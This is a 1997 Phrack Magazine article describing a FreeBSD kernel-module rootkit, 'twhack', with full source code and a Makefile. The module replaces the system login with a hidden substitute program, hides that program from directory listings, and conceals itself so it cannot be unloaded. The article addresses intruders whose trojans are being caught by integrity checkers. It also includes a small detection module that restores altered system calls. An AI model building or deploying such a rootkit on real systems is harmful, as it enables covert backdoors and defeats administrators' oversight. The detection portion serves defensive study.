---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 09 of 17 -------------------------[ Bypassing Integrity Checking Systems --------[ halflife <halflife@infonexus.com> In this day and age where intrusions happen on a daily basis and there is a version of "rootkit" for every operating system imaginable, even mostly incompetent system administration staff have begun doing checksums on their binaries. For the hacker community, this is a major problem since their very clever trojan programs are quickly detected and removed. Tripwire is a very popular and free utility to do integrity checking on UNIX systems. This article explores a simple method for bypassing checks done by tripwire and other integrity checking programs. First off, how do integrity-checking programs work? Well, when you first install them, they calculate a hash (sometimes multiple hashes) of all the binary files you wish to monitor. Then, periodically, you run the checker and it compares the current hash with the previously recorded hash. If the two differ, than something funny is going on, and it is noted. Several different algorithms exist for doing the hashes, the most popular probably being the MD5 hash. In the past, there have been problems with several hashes. MD5 has had some collisions, as have many other secure hash algorithms. However, exploiting the collisions is still very very difficult. The code in this article does not rely on the use of a specific algorithm, rather we focus on a problem of trust -- integrity checking programs need to trust the operating system, and some may even trust libc. In code that is designed to detect compromises that would by their very nature require root access, you can not trust anything, including your own operating system. The design of twhack had several requirements. The first is that it need not require a kernel rebuild; loadable kernel modules (lkm) provided a solution to this. The second is that it need be relatively stealthy. I managed to find a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD and NetBSD although I have not verified this). Once you load the module, the first ls type command will effectively hide the module from view. Once hidden it can not be unloaded or seen with the modunload(8) command. First, a little information on FreeBSD loadable modules. I am using the MISC style of modules, which is basically similar to linux modules. It gives you pretty much full access to everything. LKM info is stored in an array of structures. In FreeBSD 2.2.1 the array has room for 20 modules. Hiding the modules is really quite simple. There is a used variable that determines if the module slot is free or not. When you insert a module, the device driver looks for the first free module entry -- free being defined as an entry with 0 in the used slot and places some info in the structure. The info is mainly used for unloading, and we are not interested in that, so it is okay if other modules overwrite our structure (some might call that a feature, even). Next we have to redirect the system calls we are interested in. This is somewhat similar to Linux modules as well. System calls are stored in an array of structures. The structure contains a pointer to the system call and a variable specifying the number of arguments. Obviously, all we are interested in is the pointer. First we bcopy the structure to a variable, then we modify the function pointer to point to our code. In our code we can do stuff like old_function.sy_call(arguments) to call the original system call -- quick and painless. Now that we know HOW to redirect system calls, which ones do we redirect in order to bypass integrity checkers? Well, there are a number of possibilities. You could redirect open(), stat(), and a bunch of others so that reads of your modified program redirect to copies of the unmodified version. I, however, chose the opposite approach. Execution attempts of login redirect to another program, opens still go to the real login program. Since we don't want our alternative login program being detected, I also modified getdirentries so that our program is never in the buffer it returns. Similar things probably should have been done with syscall 156 which is old getdirentries, but I don't think it is defined and I don't know of anything using it, so it probably does not really matter. Despite the attempts at keeping hidden, there are a few ways to detect this code. One of the ways of detecting (and stopping) the code is provided. It is a simple stealthy module that logs when syscall addresses change, and reverses the changes. This will stop the twhack module as provided, but is FAR from perfect. What the checking code does is bcopy() the entire sysent array into a local copy. Then it registers an at_fork() handler and in the handler it checks the current system call table against the one in memory, if they differ it logs the differences and changes the entry back. <++> twhack/Makefile CC=gcc LD=ld RM=rm CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST) LDFLAGS=-r RST=-DRESTORE_SYSCALLS all: twhack syscheck twhack: $(CC) $(CFLAGS) -c twhack.c $(LD) $(LDFLAGS) -o twhack_mod.o twhack.o @$(RM) twhack.o syscheck: $(CC) $(CFLAGS) -c syscheck.c $(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o @$(RM) syscheck.o clean: $(RM) -f *.o <--> <++> twhack/twhack.c /* ** This code is a simple example of bypassing Integrity checking ** systems in FreeBSD 2.2. It has been tested in 2.2.1, and ** believed to work (although not tested) in 3.0. ** ** Halflife <halflife@infonexus.com> */ /* change these */ #define ALT_LOGIN_PATH "/tmp/foobar" #define ALT_LOGIN_BASE "foobar" /* includes */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/proc.h> #include <sys/systm.h> #include <sys/sysproto.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/sysent.h> #include <sys/lkm.h> #include <a.out.h> #include <sys/file.h> #include <sys/errno.h> #include <sys/syscall.h> #include <sys/dirent.h> /* storage for original execve and getdirentries syscall entries */ static struct sysent old_execve; static struct sysent old_getdirentries; /* prototypes for new execve and getdirentries functions */ int new_execve __P((struct proc *p, void *uap, int retval[])); int new_getdirentries __P((struct proc *p, void *uap, int retval[])); /* flag used for the stealth stuff */ static int hid=0; /* table we need for the stealth stuff */ static struct lkm_table *table; /* misc lkm */ MOD_MISC(twhack); /* ** this code is called when we load or unload the module. unload is ** only possible if we initialize hid to 1 */ static int twhack_load(struct lkm_table *l, int cmd) { int err = 0; switch(cmd) { /* ** save execve and getdirentries system call entries ** and point function pointers to our code */ case LKM_E_LOAD: if(lkmexists(l)) return(EEXIST); bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent)); sysent[SYS_execve].sy_call = new_execve; bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent)); sysent[SYS_getdirentries].sy_call = new_getdirentries; table = l; break; /* restore syscall entries to their original condition */ case LKM_E_UNLOAD: bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent)); bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent)); break; default: err = EINVAL; break; } return(err); } /* entry point to the module */ int twhack_mod(struct lkm_table *l, int cmd, int ver) { DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd); } /* ** execve is simple, if they attempt to execute /usr/bin/login ** we change fname to ALT_LOGIN_PATH and then call the old execve ** system call. */ int new_execve(struct proc *p, void *uap, int *retval) { struct execve_args *u=uap; if(!strcmp(u->fname, "/usr/bin/login")) strcpy(u->fname, ALT_LOGIN_PATH); return old_execve.sy_call(p, uap, retval); } /* ** in getdirentries() we call the original syscall first ** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH ** and ALT_LOGIN_BASE should _always_ be modified and made ** very obscure, perhaps with upper ascii characters. */ int new_getdirentries(struct proc *p, void *uap, int *retval) { struct getdirentries_args *u=uap; struct dirent *dep; int nbytes; int r,i; /* if hid is not set, set the used flag to 0 */ if(!hid) { table->used = 0; hid++; } r = old_getdirentries.sy_call(p, uap, retval); nbytes = *retval; while(nbytes > 0) { dep = (struct dirent *)u->buf; if(!strcmp(dep->d_name, ALT_LOGIN_BASE)) { i = nbytes - dep->d_reclen; bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen); *retval = i; return r; } nbytes -= dep->d_reclen; u->buf += dep->d_reclen; } return r; } <--> <++> twhack/syscheck.c #include <sys/param.h> #include <sys/ioctl.h> #include <sys/proc.h> #include <sys/systm.h> #include <sys/sysproto.h> #include <sys/conf.h> #include <sys/mount.h> #include <sys/exec.h> #include <sys/sysent.h> #include <sys/lkm.h> #include <a.out.h> #include <sys/file.h> #include <sys/errno.h> #include <sys/syscall.h> #include <sys/dirent.h> static int hid=0; static struct sysent table[SYS_MAXSYSCALL]; static struct lkm_table *boo; MOD_MISC(syscheck); void check_sysent(struct proc *, struct proc *, int); static int syscheck_load(struct lkm_table *l, int cmd) { int err = 0; switch(cmd) { case LKM_E_LOAD: if(lkmexists(l)) return(EEXIST); bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL); boo=l; at_fork(check_sysent); break; case LKM_E_UNLOAD: rm_at_fork(check_sysent); break; default: err = EINVAL; break; } return(err); } int syscheck_mod(struct lkm_table *l, int cmd, int ver) { DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd); } void check_sysent(struct proc *parent, struct proc *child, int flags) { int i; if(!hid) { boo->used = 0; hid++; } for(i=0;i < SYS_MAXSYSCALL;i++) { if(sysent[i].sy_call != table[i].sy_call) { printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call); #ifdef RESTORE_SYSCALLS sysent[i].sy_call = table[i].sy_call; #endif } } } <--> ----[ EOF